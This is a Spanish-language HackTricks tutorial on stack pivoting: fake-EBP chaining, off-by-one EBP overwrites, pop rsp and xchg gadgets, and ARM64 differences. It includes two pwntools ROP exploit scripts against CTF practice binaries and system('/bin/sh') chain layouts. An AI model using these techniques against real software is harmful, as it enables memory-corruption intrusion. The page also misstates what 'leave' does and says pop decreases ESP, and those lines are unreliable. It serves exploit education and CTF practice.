12 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
Esta técnica explota la capacidad de manipular el Base Pointer (EBP) para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del registro EBP y la secuencia de instrucciones leave; ret
.
Como recordatorio, leave
básicamente significa:
mov ebp, esp
pop ebp
ret
Y como el EBP está en la pila antes del EIP, es posible controlarlo controlando la pila.
EBP2Ret
Esta técnica es particularmente útil cuando puedes alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
Si, durante la ejecución de fvuln
, logras inyectar un EBP falso en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación pop
), puedes controlar indirectamente el EIP. A medida que fvuln
retorna, el ESP se establece en esta ubicación creada, y la siguiente operación pop
disminuye el ESP en 4, haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.
Nota cómo necesitas conocer 2 direcciones: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
Construcción del Exploit
Primero necesitas conocer una dirección donde puedas escribir datos / direcciones arbitrarias. El ESP apuntará aquí y ejecutará el primer ret
.
Luego, necesitas conocer la dirección utilizada por ret
que ejecutará código arbitrario. Podrías usar:
- Una dirección válida de ONE_GADGET.
- La dirección de
system()
seguida de 4 bytes basura y la dirección de"/bin/sh"
(bits x86). - La dirección de un gadget de
jump esp;
(ret2esp) seguida del shellcode a ejecutar. - Alguna cadena de ROP.
Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber 4
bytes debido a la parte de pop
de la instrucción leave
. Sería posible abusar de estos 4B para establecer un segundo EBP falso y continuar controlando la ejecución.
Exploit Off-By-One
Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes modificar el byte menos significativo del EBP. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el ret
debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.
Usualmente se modifica el byte 0x00 para saltar lo más lejos posible.
Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
Cadena EBP
Por lo tanto, al poner una dirección controlada en la entrada EBP
de la pila y una dirección para leave; ret
en EIP
, es posible mover el ESP
a la dirección EBP
controlada desde la pila.
Ahora, el ESP
está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un RET
. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto:
&(next fake EBP)
-> Cargar el nuevo EBP debido apop ebp
de la instrucciónleave
.system()
-> Llamado porret
.&(leave;ret)
-> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo.&("/bin/sh")
-> Parámetro parasystem
.
Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
Esto es como un ret2lib, pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
Además, aquí tienes un ejemplo de un desafío que utiliza esta técnica con un leak de pila para llamar a una función ganadora. Este es el payload final de la página:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP podría no ser utilizado
Como se explica en esta publicación, si un binario se compila con algunas optimizaciones, el EBP nunca llega a controlar ESP, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.
Esto se debe a que los cambios de prólogo y epílogo si el binario está optimizado.
- No optimizado:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizado:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Otras formas de controlar RSP
pop rsp
gadget
En esta página puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un gadget pop rsp
y hay una fuga de la pila:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consulta la técnica ret2esp aquí:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Referencias y Otros Ejemplos
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, explotación off by one con una cadena rop que comienza con un ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de stack y usa el WWW para volver y obtener el leak de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de
.fini_array
+ llamando a__libc_csu_fini
(más información aquí). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
ARM64
En ARM64, el prologo y epílogos de las funciones no almacenan ni recuperan el registro SP en la pila. Además, la instrucción RET
no regresa a la dirección apuntada por SP, sino a la dirección dentro de x30
.
Por lo tanto, por defecto, solo abusando del epílogo no podrás controlar el registro SP sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de controlar el registro x30
.
- prologo
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP apunta al registro de marco
- epílogo
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
La forma de realizar algo similar a stack pivoting en ARM64 sería poder controlar el SP
(controlando algún registro cuyo valor se pasa a SP
o porque por alguna razón SP
está tomando su dirección de la pila y tenemos un desbordamiento) y luego abusar del epílogo para cargar el registro x30
desde un SP
controlado y RET
a él.
{% endhint %}
También en la siguiente página puedes ver el equivalente de Ret2esp en ARM64:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Consulta los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.